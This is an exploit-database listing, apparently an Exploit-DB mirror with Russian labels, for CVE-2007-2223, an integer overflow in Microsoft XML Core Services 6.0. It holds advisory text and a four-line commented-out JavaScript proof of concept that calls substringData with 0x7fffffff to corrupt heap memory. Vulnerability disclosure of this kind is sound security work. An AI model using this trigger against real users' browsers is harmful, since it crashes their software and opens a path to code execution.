Exploit Microsoft XML Core Services 6.0 - SubstringData Integer Overflow

[Exploiter]

EDB-ID

30493

Проверка EDB

1. Пройдено

Автор

ANONYMOUS

Тип уязвимости

REMOTE

Платформа

WINDOWS

CVE

cve-2007-2223

Дата публикации

2007-08-14

source: https://www.securityfocus.com/bid/25301/info

Microsoft XML Core Services is prone to an integer-overflow vulnerability because the application fails to ensure that integer values are not overrun.

Attackers can exploit this issue by enticing unsuspecting users to view malicious web content. Specially crafted scripts could issue requests to MSXML that trigger memory corruption.

Successfully exploiting this issue allows remote attackers to corrupt heap memory and execute arbitrary code in the context of the affected application. Failed exploit attempts will result in a denial-of-service condition. 

//var xmlDoc = new ActiveXObject("Microsoft.XMLDOM");
//xmlDoc.loadXML("<dummy></dummy>");
//var txt = xmlDoc.createTextNode("huh");
//var out = txt.substringData(1,0x7fffffff);